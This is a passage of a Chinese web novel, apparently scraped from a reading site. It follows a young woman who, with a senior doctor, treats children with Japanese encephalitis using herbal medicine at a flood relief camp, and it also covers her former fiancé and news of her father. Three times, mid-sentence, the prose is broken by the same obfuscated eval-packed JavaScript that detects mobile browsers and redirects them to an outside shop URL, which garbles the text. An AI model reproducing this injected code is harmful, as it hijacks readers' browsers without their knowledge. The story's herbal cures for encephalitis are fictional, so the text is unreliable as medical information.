此时冯院长正在组织人手,给那些刚从山上下来的老乡进行体检,听说妞妞妈临时改变主意,他就道:“通知书还有,在区医院黄主任手里,我马上去找他要。” “不过从上午到现在,已经过去快十个小时了,这么长时间,孩子病情或许有点变化,要不要再重新做下诊断?”冯院长以前也是中医,自然知道,疾病没有及时得到干预的话,是会传变的。 “当然要,药方可能要微调。”池晚说。 两个人说话时语速比较快,转眼就到了妞妞所住的帐篷附近。 池晚先带着妞妞妈进了帐篷,去查看妞妞的病情。冯院长则去通知二院的两位大夫,还找区医院的黄主任要来了通知单。 二院楚大夫和庞大夫来得都很快,因为这是他们在安置点处理的第一个乙脑患者,他们都很重视。 眼下来安置点的小孩越来越多,光是在帐篷外玩耍的,就有十几个。现在汝宁省乙脑流行的趋势非但没有得到缓解,还有愈演愈烈的倾向。安置点的环境又要差一些,谁也不敢保证,在这个地方是否会陆续出现新的乙脑患儿? 所以,他们都迫切地希望能从妞妞这里看到治愈乙脑的希望。如果妞妞能治好,就算这里继续出现乙脑患儿,他们也有信心应对。 冯院长过去找他们时,两个人马上放下手头的事,赶来了妞妞暂住的帐篷。 “病情比上午要严重,药材的剂量可能要做下调整了。庞大夫,你也把个脉吧。”看到两位大夫进来,池晚给庞大夫腾出了位置。 妞妞妈一脸心虚地站着,连呼吸声都放轻了。 刚才池晚说的话她都听清了,妞妞病情已经加重,看样子,如果再不用池晚和庞大夫研究出来的治疗方案,她女儿恐怕是死路一条。 这时候,她心里极为自责,早知道会是这种结果,她就该早点让妞妞喝中药了。这样的话,妞妞也不会白受这么长时间的罪。孩子昏过去之后,时不时抽搐,每抽搐一下,都像在挖她这个妈妈的心。 庞大夫安静地坐在一个板凳上,片刻后,他点头道:“药量的确要变,量要大一点。” 因为妞妞是五岁儿童,他们之前开的药量都比成人用的剂量少。但此时妞妞体内热甚,药量少了,力量就会不足。 药方很快开了出来,冯院长安排了医院里的药师亲自煎药,药炉就摆在这个帐篷背阴处。 可能是因为高烧渴极了,晾到微湿的汤药放到她嘴边时,妞妞很快就喝了下去,完全没有发生哭闹的情况。 池晚和两位大夫都没走,他们要留下来,观察妞妞服药后的反应。每隔一会儿,庞大夫就会把妞妞身上的变化记录到笔记上。 邹副书记听说这件事,没过多久也来到了现场,还让人搬来一个矮桌,方便庞大夫写字。 “咱这儿条件太简陋了,还得辛苦几天。”看到庞大夫伛偻着腰在矮桌上写字,公社邹副书记搓了搓手,感觉有点不好意思。 “没有没有,我们以前也去过救灾现场,什么都见过。这两天有不少企事业单位在往这边送物资,现在咱们能吃饱喝足,能躺能坐的,不错了。前几天你们在这儿才真是艰苦。” 庞大夫并不是个只专心医术的呆子,该说的话他还是会说的。 他这番话让邹副书记放了心,他就怕这些大医院来的大夫对这边的环境有意见。 “那个…池晚,你有什么要求,尽管跟我提,只要我能办到,一定想办法。”邹副书记这时也知道池晚有能力,以后说不定会发展成什么样。 不管出于什么心理,他都得把池晚照顾好。 “邹书记,要求倒是有一个,就是不知道会不会有点过分?” 这几天安置点的物资开始渐渐多起来,药材也比较充裕,池晚便借着邹书记这几句话,提了要求。 “没事,有什么想法你说。”邹书记巴不得她提要求呢,他不怕她提,就怕她什么都不要。 人和人之间,有时候适当向对方提点要求,还可以加深彼此之间的关系。 池晚这才指着自己的头说:“我被梁团长救上来之后,一直没洗头,很不舒服。而且时间长了,我担心头上会生出不明生物。” 她这番话说得委婉,邹副书记一下就明白了。 之前安置点上用水用柴都紧张,老乡挑的水只能用来做饭做菜,洗头洗衣服是不够用的。 这几天部队上的同志有一些人手空了下来,便帮着安置点的老乡劈了不少木柴,还担了不少缸水。现在安置点上缺水缺柴的情况已经缓解了。 看看池晚身上肥大的粗布衣裳,邹副书记也有点不好意思,都好几天了,他也没关注这个女孩子的个人情况。 想到这儿,他马上说:“这没问题,我现在就安排人烧水。” 池晚又补充道:“如果百部足够多的话,在烧水时可以加点百部用来洗头,洗过头的水也可以用来洗衣服,这样不容易生虱子。” “我自己洗不合适,安置点上其他人也可以洗,看个人意愿吧。” 邹副书记马上同意了,他郑重地说:“池晚同志,你这次提醒我了,之前我们救灾小组的人都把精力放到救人方面,没有关注到卫生问题。” “不过现在注意还来得及,想当初,咱们国家为了预防疾病,曾组织过大规模的爱国卫生运动,现在我们也可以在安置点这个地方来一场小范围的卫生行动嘛。” “至于你说的百部,它要是真能达到杀虫杀虱效果的话,可以安排人手用大锅煮水。” 庞大夫在旁边瞧了瞧池晚,也注意到她的打扮,一看就能猜出来,她身上穿的衣服应该是老乡临时给找出来的。 听到百部的事,庞大夫便插了一嘴:“百部煮水挺好的,大人小孩都用上,不敢说虱子会绝迹,但肯定会少。现在安置点上每个帐篷里都住了不少人,人挨人人挤人的,杀菌杀虫的措施还是要做一下的,这样也能减少点疾病。” 他说的这些话邹副书记都听了进去,从帐篷里出来后,他就安排人手开始烧水。 服药一个小时后,妞妞的体温终于降了下来,抽搐反应基本消失。 “暂时脱离危险了,让他先睡几个小时,到时候看看是否启用第二阶段的药方。”庞大夫这番话,给妞妞妈吃了个定心丸。 妞妞妈听完后,两腿发软,细汗从额头上流了下来,她几乎跪倒在地,连声向两位大夫和池晚道谢。 天已黑了下来,庞大夫把她扶起,说:“我先出去一下,稍后过来,你在这儿守着,有什么事让人去找我或小池。” 这时李翠香出现在门口,看到池晚在这里,她马上向池晚招手:“晚丫头,邹书记让烧的水都烧好了,你赶紧回去收拾收拾。” 池晚暗暗嘘了一口气,马上跟着李翠香走出了帐篷。 因为人多,大家都在排队,池晚动作很快,半个小时就洗完了。 她拧掉发梢上的水,再用头绳扎成马尾,走出了帐篷。 出来后,她发现有辆卡车还在安置点,李翠香跟她提过,是文化局派过来的。 她原以为,那些人卸下物资,再和安置点领导接洽下,适当慰问下受灾群众就走了。 既然这些人还没走,那原主那位前男友汪辉还在吗? 要是能在这儿碰到他,顺便把帐单交到他手上其实也不错。 走了几分钟,她就走到汽车旁边。此时汽车周围聚着几个孩子,估计是好奇,有大人喊他们进帐篷,他们都不去。 “小朋友,快回去吧,叔叔得开车回城里了。”一个三十多岁的男人从驾驶位上下来,一边走一边摘下手上的线手套。 他下午运完物资后之所以没走,是因为汽车临时出了故障,他得留下来把车修好才行。因为修车,他手上那副手套还沾了不少油渍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837391|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到他一个人下了车,池晚有点失望。 要是在这儿没碰上他,她还得专程坐长途汽车进城去找他,还要找人打听他在哪儿,想想都费劲。 那些小孩有点怕那男人,都往后躲了躲,但还是没走。 男人也看到了池晚,他面带疑惑地问道:“小姑娘,你有事啊?” “请问这是文化局的车吗?就你一个人在啊?” “对,文化局的,车上还有个人,你找谁?” 问完这句话,男人朝车上喊了一嗓子:“小汪,你下来。” 汪辉果然在,李翠香白天说看到过汪辉,看来那人真是他。 汪辉身材偏瘦,戴着一副眼镜,有几分书卷气。这次下乡,他穿着一件白衬衫,腰间系着一条黄褐色腰带,下身穿着绿色军裤。 池晚打量着这个人,感觉这人有几分知识分子的气质,长相清秀,跟普通乡下青年不太一样,再加上会做诗,难怪原主会瞧上他。 汪辉从车上跳下后,不疾不徐地走到车尾,想看看司机喊他是什么事。 在看清池晚那张脸时,他从容的神态立刻变了。一瞬间,他脸上现出好几种表情。 有惭愧,有惊慌,连走路都不自然起来。 他下意识看看周围,想看看附近有没有人在往这边瞧。 很不幸,乡下人对汽车都很好奇,的确有几个人在往这边看。 池晚知道,他可能是怕她在这里闹起来。 她淡笑了下,多余的话一句都没说。 汪辉离她有几步远,不敢往前走,池晚就掏出事先准备好的帐单,上前一步,把那张纸递过去,公事公办地说:“这个清单你看看吧,药方都是你爸用过的。” “你也知道,下泉水大队受了灾,房子都倒了。等洪水退了,我需要修房子。” 汪辉怔怔地接过药方,没有心思去看单子上的数据。 他张了张嘴,想说些什么,但那些话却都堵在了胸口,根本说不出来。 他不知道要如何跟池晚解释,他想跟池晚说分手的事都是他爸逼他做的,跟池晚朋友文慧娟订婚也非他所愿。 只是在他爸返城复职这件事上,文慧娟她爸出了不少力,他没办法拒绝这门亲事…… 千言万语梗在那里,转眼间,池晚已经走了。她竟连一句话都不愿意对他说了? 那位司机愣了好一会儿才反应过来这是怎么回事。他原以为,这位灾区的小姑娘看中了汪辉,看样子并不是,像是个讨药费的? 怀着吃瓜的心思,他瞧了眼神情复杂的汪辉,问道:“小汪,你俩什么关系啊?” “没,没什么,她爸是大夫,我爸去她家看过病,之前说好的,等病好了一起结帐,她这是给我送药费单子来了。等有时间了,我把钱给她送去。” 汪辉三言两语把这件事掩盖过去。这件事前因后果他也清楚,回城后他曾敦促过他爸赶紧把药费给补上,但他妈说家里用钱的地方太多,刚回城,他们要到处打点,结交人脉,一时凑不齐,反正池家也没要钱,先这么拖着。 一来二去,钱的事就耽误下来。 想到池晚刚刚穿的衣服,汪辉内心狼狈地坐上了副驾,从他面上看不出什么,但此时他心里却满是自责和懊恼。 他觉得他全家都不是人,包括他自己! 那张帐单还在他兜里揣着,薄薄一张纸,却让他感觉到了烫手。 池晚成功递出帐单,又洗了头洗了澡,这一晚她睡得很好。 次日清晨,妞妞妈就跑过来找她,一脸欢喜地跟她讲:“晚丫头,妞妞醒了,烧也退了,能吃一点东西。” 帐篷里几个人听见了,全都围过来,一边打听妞妞的情况,一边夸奖池晚。 这时,冯院长竟亲自来找池晚,把她叫出去之后,冯院长抓紧时间告诉她:“今早又有两个小孩发高烧,服用感冒药无效。” “刚才庞大夫去看了,说那两个小孩极有可能也是乙脑,但他俩的情况跟妞妞有点不太一样,药方可能要做下调整,你去看看吧。” 妞妞的病情在一个晚上就得到了控制,已成功脱离了危险,这件事安置点上所有的大夫都已知道,所以,现在他们都清楚,再碰上乙脑患者,最好第一时间找池晚和庞大夫,其他人处理不好这种危重病情。 “等我一下,我马上过去。”池晚匆匆吃完碗里的粥,跟着冯院长去看那两个患儿。 13.大灾,大疫 父亲来电 两个刚被确诊为乙脑的患儿都被移到妞妞所住的帐篷,池晚过去时,二院的两位大夫已经到了。 “喏,就这两个小孩,小女孩刚开始是当感冒治的,服药后一直不好转,之前还挺精神,从昨天开始,高烧不退,问话无应答,最近三日无大便。”这个患儿起初是由公社医院一位大夫看的病。 服过药后始终无好转,也给他用过青霉素,高烧不但未退,还陷入了半昏迷状态。 另一个患儿前几天一直在山上,山上条件不好,已经病了好几天,被梁含璋手底下的人接回来不久,就被确诊为乙脑。 “池晚,这两个小孩我刚才都看了,他俩跟妞妞的情况有所区别。你先看看,稍后咱们坐下来商量下。” 此时,帐篷里还有几个患儿家属,有一对夫妻就是下泉水大队的,这家女人叫车桂英。 他们夫妻俩带着孩子逃到了山上,头天晚上才被战士们接到安置点。 这几天他们在山上受了不少煎熬,短短几天下来,人都瘦了,看上去精气神都不足。 看到池晚在给他俩的儿子诊脉,夫妻俩对望一眼,都不明白这到底是怎么回事。 池晚是池映川的女儿,会看些小病,这事下泉水的人都知道。 但眼下他俩的孩子都烧糊涂了,再这么烧下去,说不定会没命。这种病,让池晚给看,能行吗? 俩人心里担心,但他们都是老实人,谁也不敢出声表达质疑。好在这时妞妞妈拎着一个热水壶走进帐篷。 妞妞妈跟他们不是一个大队的,但彼此之间都认识,他们也知道妞妞的病已经开始好转了。所以,池晚在给那个小男孩诊脉时,车桂英悄悄靠近妞妞妈,小声问她:“你家妞妞好了啊,谁给看的?” 她后一句话是对着妞妞妈耳朵说的,生怕帐篷里其他人听到。 其实她这些小动作在场的人都看在眼里,即使没听到她在说什么,也能猜出她的用意。 庞大夫只当没看见,心里则在斟酌着接下来要用的药方。 他感觉,这两个新的患儿一男一女,病情大抵相似,都是湿胜,与池晚之前所说的乙脑症型基本一致,开药时,药方重合的地方会比较多。 但这两个小孩的症状还是要有所区别。因为,那名小男孩无汗高热、神昏谵语且整三日未大便但腹不满,舌苔秽腻。小女孩是有汗的,就算出汗量不多,其治法与无汗也要有所区别。另一方面,那位小女孩腹微满,大便日二次,这也是一个明显的区别。 作为一名资深中医,他曾处理过不少相关病例,经验方面绝对不缺。他早年也曾师从于一位国医大师,理论同样不差。只是近些年时局不稳,他也遇到一些坎,到现在情况才开始好转。那几年,为了不连累亲朋,他跟很多熟人都断了联系,自然也包括那位恩师。 不管怎样,对于这两个患儿病情的判断,他都是有信心的。 “你看完了?这两个小朋友的病情,你怎么看?”看到池晚放下手指,楚大夫客气地问起了池晚的看法。 “我觉得他们俩都可以直接用通阳利湿之法,不需要像妞妞那样分三步走了。” “但是,具体到用药时,恐怕还是有点区别的。”说话时,池晚手指在小女孩颈间轻轻抹了一下,指间微潮,那是小女孩的汗。 “看,小姑娘有汗,那个小男孩没有汗。”池晚这句话一下说到了庞大夫心里。 他把手边的问诊记录递给池晚,告诉她:“这是刚才家长提供的一些信息,你先看看,然后咱们再讨论药方。” 池晚马上接过去,上面详细地写着两个孩子最近几天的用药史、饮食、大小便情况等等。 关于两个小孩有区别的地方,庞大夫特意用铅笔划了出来。 池晚一看就明白,庞大夫这是在特意提点她,这两个小孩的症状有所区别。 她是混过职场的,知道职场的复杂。像庞大夫这样愿意提点她、并且愿意给她表现机会的人,绝对是个值得尊重的同行和前辈。 她客气地跟庞大夫说:“看来,庞大夫您也有自己的想法,一会儿我要是哪里说得不妥,还要麻烦庞大夫您指正。” 庞大夫赶紧摆手叫停:“你可别这么跟我说话,我刚四十,就算长得成熟点,你也不能一口一个您的,你这样说都把我叫老了。” 他前些年下放,生活环境不好,吃了不少苦,的确有点沧桑,但要说老还谈不上。 池晚笑了下,“行,以后不这么说了。” 紧接着两个人开始讨论起了药方,应庞大夫要求,池晚先说道:“两个孩子的治法都是通阳利湿,通利三焦。用药的话,像藿香、金银花、黄连、茵陈、滑石还有白豆蔻,这些都可以用上。跟我们前两天商量的一样。” 庞大夫表示赞成,随后道:“小男孩阳郁表闭,症见高热无汗,最好把紫雪丹也用上,这样可以泻汗开闭。香薷和黄连都切中他这种病机,把香薷也加上。” “但小女孩情况不同,她有汗,且大便正常,不必用紫雪丹。又因为其症属内闭,有汗不彻,香薷也不用。” “像你说的一样,因为两个孩子都有湿邪,其淡渗通阳之品基本相同。” 两个人你一句我一句地商量着,二院楚大夫是西医,对中医仅有所了解,但他在旁边听得很认真,等到庞大夫和池晚把药方开好的时候,他对这个乙脑的中医疗法也有了一定的了解。 冯院长都听懂了,但若是让他独自处理这种患儿,他还是没有信心。 其实他心里是有疑问的,为什么池晚会懂得这么多? 难道说,她是自学成才的天才? 想到古代那些自学成才的大医,冯院长疑惑了几天也就想通了,备不住池映川这个女儿就有这种天分呢,不然没办法解释她为什么会治这种病。 药方开好后,冯院长马上安排人手给这两个小孩单独煎药。 池晚没有急于离开这个帐篷,她把药方交给冯院长后,又跟冯院长和区医院的黄主任商量道:“我昨晚去装药的仓库看了一下,现在药材储备挺足的,所以我有个想法,想征求下你们的意见。” “什么想法,你说。”黄主任现在跟池晚说话时,已经下意识把她当成了平辈人看待。 “是这样,最近梁团长一直在带人救灾,附近几个大队的老乡也出了不少人,去灾区救人。他们长时间在水中行动,受湿气侵染,现在可能看不出症状,等时间长了,再遇到六淫之气侵袭,很容易成为致病因素,所以我考虑着,要不要配个通阳祛湿的药方,给他们服用?” 池晚这番话说完,黄主任和冯院长都笑了。 “你们笑什么?”池晚感觉莫名其妙,是她的要求过分了吗? 她会这么说,是因为在她以前的行医生涯中,看到过很多人因为早年遭遇过寒湿或湿热之邪浸染,而落下病根,到了中年阳气衰微时,开始发病。 中医一道,有病治病本是下工,无病防病方为上工。 这几天,梁含璋和他手底下的人天天到水里搜寻幸存灾民,每天都是一身泥水。周围几个大队的老乡也有不少人在无偿帮忙救人。池晚天天看着,不可能不动容,自然希望能在自己的能力范围内,帮这些人做点什么。 冯院长一边笑一边摆手,“不是笑你,我是笑你这丫头想得周到。不瞒你说,这事儿我跟黄主任也琢磨了。正好最近物资够用了,我跟黄主任才把这件事挪上日程,估计今晚或者明天,药就能熬出来了。” 黄主任也道:“这个药方,我看还得研究下,像藿香茵陈什么的,咱这儿准备得还挺充足的。” 原来如此,池晚还以为他们俩觉得她说的话唐突了。 没过多久,两个孩子的药熬好了,黄主任看了看表,说:“我得去一趟公社,有点事跟上级汇报下。” “对了,池晚,你爸以前给我留过一个东北的坐机号,等我去了公社,我往那边打个电话问问你爸的消息。” 池晚来到安置点这几天,没见到她妈妈,父亲又失踪了,黄主任一直都是知道的。 池晚道了声谢,说:“有消息了第一时间告诉我,麻烦黄主任了。” 黄主任走后,那位小男孩妈妈车桂英跟池晚说:“晚丫头,你妈走之前说,你姐快生了,但是胎相不好。她怕生的时候不顺,所以你妈坐火车去看你姐去了。她走的时候这边还好好的,要是知道下泉水这边发了大水,她肯定会赶回来找你的。” 池晚有印象,她这个妈妈只生了两个女孩,平时对两个女孩都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841989|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以。因为没有生男孩,这些年受了不少风言风语,时间长了,也把一个温和的女人逼成了泼辣妇人。 “谢谢三婶。”池晚谢过车桂英,便离开了帐篷。这边有庞大夫守着,她可以先回去忙自己的事。 黄主任去了半天,回到安置点时,两个乙脑患儿都成功地退了烧。 对于这个成果,庞大夫和楚大夫都相当激动。因为这绝对不是小事。 他们在短短两天时间内,用中医方法,令三个乙脑患儿成功脱离危险,并逐渐康复,这个速度和成功比例都相当惊人。 现在汝宁省境内乙脑患儿越来越多,如果这个方法能够整理出来,并运用到各个地方,汝宁省的乙脑流行趋势说不定就会得到遏止。 所以,那两个患儿退烧后,庞大夫就把池晚叫了过去,还跟池晚一起把他们这几天的用药思路以书面形式写出来。 楚大夫特意提点池晚:“小池,这件事你不要推拒,这份报告上,我们会署上你的名字。如果这一系列方案能有效遏制这一次省内的乙脑疫/情,你的功劳应该被人注意到。” 对于他的善意提醒,池晚心里感激,但她有自己的想法。 以她现在的身份,就算能在安置点上得到这些人的认可,但这些医案提上去,可能要经过好几拨人的手。这么大的功劳,万一有人动了心思,最容易被抢掉功劳的,恐怕就是她这个既无背景又无资历的人了。 不过她现在实力不够,根基不稳,对这事并不执着,谢过楚大夫的好意后,便和庞大夫一起,把这两天的治病思路写了下来。 等池晚离开后,庞大夫小声问楚大夫:“你说,这么大的功劳,万一有人想摘桃子,池晚她……” 庞大夫本人淡泊名利,但池晚以后的路还长,他不希望这个后辈被埋没。 楚大夫想了下,说:“你不是有个恩师吗?你跟他联系一下啊,这事你也得争取,别让人把你俩功劳给抢了。反正这事跟我关系不大,你看着办吧。” 想到恩师,庞大夫有点羞愧。他感觉自己这些年一事无成,有点愧对恩师当年的谆谆教诲,所以平反这大半年,他一直没敢去见恩师。 但这次不仅关系到他自己,还关系到了池晚这个优秀的后辈,他不希望池晚遭遇到打击。 想到这儿,他下了决心,问楚大夫:“你帮我参谋参谋,该给师父买点什么礼物?” “这就对了,你别老是闷头干活,这样不行的,有关系不用那不是傻子?回头你发达了,可别忘了提携我。”楚大夫拍了拍他后背,随后跟他凑到一起,给他出起了主意。 池晚走出帐篷不久,便在半路碰到了区医院的黄主任。 黄主任刚回来,他行色匆匆,闷头往前走。看到池晚那一刻,他马上伸手把人拦住。 “晚丫头,我联系上你爸了,他果然去了东北,现在沈城呢。” 池晚惊讶地问道:“沈城,他真在那儿?那他现在怎么样,跟你说什么了?” “别急,他现在还行,下泉水发大水的事他听广播都知道了。听说你现在没事,他让我告诉你,跟汪辉分了就分了,没什么大不了的,他本来就不喜欢那家人,分了是好事。” 池晚没想到池映川会是这样的反应,看来池映川以前对汪辉一家人是真的不满意,只不过他没拗过女儿,才勉强同意了这门亲事。 这时黄主任又道:“你爸还说,他现在见着好几个小伙,人都不错,回头他找人打听打听,看看谁合适。相亲的事你别急,他会给你挑个好的。” 听到这里,池晚有点尴尬,说:“黄主任,我没急。” 黄主任哈哈笑了下,说:“对对,我可没说你急。这话是你爸说的,我就是个传话的。先这么着,回头你有什么话,可以去公社给他打电话,我把号码给你。” 这时旁边有好几个战士经过,有人听到了黄主任跟池晚说的话。 无意中吃了个大瓜,几个人回到帐篷之后,第一时间把这件事告诉了身边的人。 说了一会儿,小田一直没看到梁含璋,他环视一圈,问道:“团长呢,不是说下午他不出去吗?” “没出去,政委他们晚上带人过来,要住好几个帐篷,团长带人给他们收拾呢。”一个战士告诉他。 14.大灾,大疫 带她来见我 晚七点左右,上百名战士排队赶到了鹿鸣公社水灾安置点。 梁含璋提前在安置点的路边等候,等人都到达后,他把人引到新搭建的帐篷。 “这边条件不错,有睡觉的地方,还有盖的。”说话的人姓徐,叫徐晋安,三十六岁,正是梁含璋要等的政委。 梁含璋看着战士们鱼贯走进帐篷里休息,回头跟徐晋安说:“这几天来送物资的单位和社会人士不少,现在安置点上一般的物资都是全的。一会儿你们先吃点东西,明天公社医院或者区医院的人会给大伙进行体检。” “老徐你是不是病了?要不先请个大夫给你瞧瞧。”梁含璋能听出来,徐晋安嗓音沙哑,应该是感冒了还没好。 徐晋安之前带人去大堤堵决堤口,这个任务有危险,吃住条件也极差,更没有随行大夫,跟安置点这边的条件相比,实在太差了。 作为团长,梁含璋挺担心这些人的身体。 “不用不用,明天跟大伙一块检查吧,大夫忙一天也挺累的,就不打扰他们了。” 徐晋安话刚说完,旁边陪同的黄主任就道:“梁团长,要不还是安排几位大夫给身体有恙的同志们先做下检查,以免病情恶化。” “其他同志明天再统一进行体检,你看这样行不行?” 邹副书记也道:“是啊,你们这些天任务繁重,大堤那边又没有医疗资源,有病了全靠硬撑。大夫们辛苦是辛苦,不过也就是一两个小时的事,可别让受伤的战士们硬挺了。” 在场的人都知道,现在水已经退了一半,有些水位较浅的地方已显露出泥土。能从山上接回来的人,明天差不多就接完了。 徐晋安带人过来增援,是为了帮助地方在短时间内将漂浮在河里的禽畜收集并作无害化处理。等过几天水退得差不多了,他们还得帮忙清淤,清理路面和老乡家的院子。 所以,接下来这些战士还有得忙,作为东道主,邹副书记也坚持让身体不适的战士和徐晋安马上接受检查。 在他们的坚持下,徐晋安同意了,他点出十几位身上有伤或者近期患病的下属,让他们随他一起往医疗点走。 经过池晚所住的帐篷时,梁含璋下意识往敞开的门里瞧了一眼,并没有瞧见池晚。 徐晋安刚好有话要问他,注意到他的目光,徐晋安也往那边瞧了瞧,却不知道梁含璋在看什么。 他只当梁含璋是无意识地往那边瞧了一眼,也没当回事。 此时,安置点的空地上站着不少老乡,有不少人在帮忙烧水做饭。池晚也在那边帮忙,李翠香拿着大勺子搅着大锅里的粥,池晚则蹲在灶前,用棍子拨拉着灶里的柴禾。 也不知道她跟李翠香说了什么,两个人在笑。灶膛里的火映红了她的脸,让那张脸多了许多鲜活气,比平时她给人看病时轻松多了。 梁含璋注意到,池晚身上的衣服换了,换成了那天他救她时穿的那件衬衫。 他记得那天池晚还用树皮编成的绳子扎住了绷开的衣服,现在那个扣子应该已经补好了。 医疗点近在咫尺,梁含璋陪着徐晋安弯腰进了帐篷。 当天晚上,徐晋安等人难得睡了个安稳觉,半夜梁含璋起来检查时,都能听到那几个帐篷里传出来的鼾声。 池晚的帐篷离那边挺远的,但她也能听到,因为有个别战士和老乡打鼾声音实在太大了,一声一声如同打雷一样,此起彼伏,比半夜蝉鸣和蛙声的攻击力强了不是一星半点。 睁眼看着棚顶,池晚自己都被这声音折腾笑了,这辈子就没经历过这样的事,狼狈是肯定的,但也遇到不少暖心的事。 她把手枕在脑后,想着黄主任白天说的事,她感觉黄主任并没有把全部情况告诉她。池映川为什么去了东北那么久才传回消息,如果他跟家人关系正常的话,为什么没早点传信回来。 这时代打电话还是件奢侈的事,但鹿鸣公社各个大队部应该都是有电话的,那么,池映川为什么突然远走,没有提前跟家里说一声? 他有没有往下泉水大队那边打过电话? 想到洪春波父子,池晚想到了一种可能,大队部离洪家很近,平时接电话的基本上都是那几个大队干部。有事会由他们转告给村民。万一接电话的是洪春波他爸,他未必会帮池映川传话。 当然这只是她的猜想,想知道详情的话,可以等收到池映川的信再说。电话费太贵,不是什么特别重要的事,他们一般是不会打电话的。 今天下午,那几个乙脑患儿的状况都已经稳定下来,就算这个安置点上再出现类似患者,池晚和庞大夫也有信心处理好。 但傍晚时庞大夫和楚大夫跟她讲过,这次受灾的一共有十二个公社,分别位于安平,花城和平州市。 他们这个安置点上的卫生和疾病处理得都很好,连省城大夫都难以控制的乙脑都没有出现问题。可另外十一个安置点就不知道会是什么情况了。 但那些安置点都有各自的主管部门,他们就算担心,也管不到其他地方。 池晚不知道自己是什么时候睡着的,等她醒过来时,天已经亮了,帐篷里绝大多数人都已经醒过来。 她简单收拾了一下,便去查看那几个乙脑患儿的情况。 隔壁两个帐篷里都是医疗点,池晚出来时,正赶上梁含璋带人过来体检。 半路碰到梁含璋,池晚笑着朝他打招呼:“梁团长您忙着呢?” 她这话就好像在问您吃了吗?梁含璋本来挺严肃的,听到她这问话,唇角微微上翘,说:“还行,不太忙,你去哪儿?” “去那儿,看那几个乙脑患儿。我先走了,回见。” 池晚朝着梁含璋摆了摆手,便钻进了安置乙脑患儿的小帐篷。 徐晋安与梁含璋并肩而行,自然看清了池晚的模样。 姑娘长相不错,衣着简陋,但其言谈不俗,不像是个普通的乡下女孩。 看了眼梁含璋,他心里有点纳闷,两人才分开几天,这边就发生了一些他不知道的事情。 涛子就在旁边陪着,看到池晚走了 ,他笑着跟梁含璋招了招手:“梁团长,回见~~” 他兵龄比较长,也快退伍了,跟梁含璋说话就比其他人随意,这些人里,也就只有他敢这么对梁含璋开玩笑了。 梁含璋瞪了他一眼,没再搭理他,但也没发作。回头便招呼着昨晚过来的战士们进入医疗点检查。 到了中午,庞大夫叫住池晚,跟她说:“那几个小孩情况基本稳定下来了,应该不会再出什么意外。但为了以防万一,这边还得你费心看着点。我中午有事出去一趟,两个小时内能回来。” “没事,你有事就去办吧。”池晚答应得痛快,等庞大夫走了,她便守在帐篷里,随时关注着那几个患儿的情况。 至于隔壁医疗点的体检工作,她并没有参与,只能看到战士们进进出出,有的人还因为肌肉拉伤或者肩颈疼痛,在做理疗。 鹿鸣公社安置点上的工作在有条不紊的进行着,但其他安置点上并不都是如此。 花城市朝阳公社安置点上连续出现患儿高热,被派到这个安置点上进行医疗援助的大夫们在几次抢救过后,对这些患儿已束手无策。 这个消息由地方领导打电话传到了市里,市里的专家很快猜出,朝阳公社那些患儿所得的极有可能就是最近省内流行的乙脑。 这个消息传回到朝阳公社领导耳中,他们也不知道该怎么办,连市里专家都没有好的办法,他们又能怎么办? 他们能做的就只是把那些发病的患儿集中在一起,尽量不让他们与其他儿童接触。 汝宁省人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846382|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民医院中医科老专家祝向阳刚从京市开会回来,就被一辆吉普车接到了人民医院。 刚到办公室,祝向阳的一个学生就告诉他:“老师,二十分钟前,有个叫庞万里的大夫给你来过电话,我告诉他您很快就会回来,他说他在鹿鸣公社等您电话,有重要的事要跟您说。” “你说谁?庞万里?”祝向阳端起大茶缸,刚喝了一口茶水,就听到了这个许久未闻的名字。 一时间,他以为自己幻听了。 他曾经以为,他这个学生这辈子都不打算联系他了。 “对,庞万里,他说有重要的事要跟您说。” 祝向阳马上站了起来,说:“那还等什么?带我去,我给他回个电话。” 那个学生还年轻,并未从他口中听说过庞万里这个人,从他老师祝向阳的反应能看出来,这个庞万里应该是个重要的人。 他不敢怠慢,赶紧带着祝向阳去了医务科办公室,那里有一部电话。 此时,庞大夫正在鹿鸣公社邹副书记办公室,听到电话铃响,他紧张地拿起电话,听到那声“喂”后,庞大夫声音微微发颤:“老师,是我,庞万里。这些年,一直没好意思打扰您,学生惭愧,对不起老师这些年的教诲。” 他一开口就道歉,电话那端的人声音微哑,哽咽了几声,然后道:“都过去了,以后别像这样消失就成。” “听说你有重要的事要跟我说,说吧,什么事?” 庞万里知道老师时间很紧,他没再耽误下去,抓紧时间把他和池晚这几天治疗乙脑的方案跟祝向阳说了一下。 “什么,你说你跟一个小丫头合作,在短时间内治好了几名乙脑患儿?” 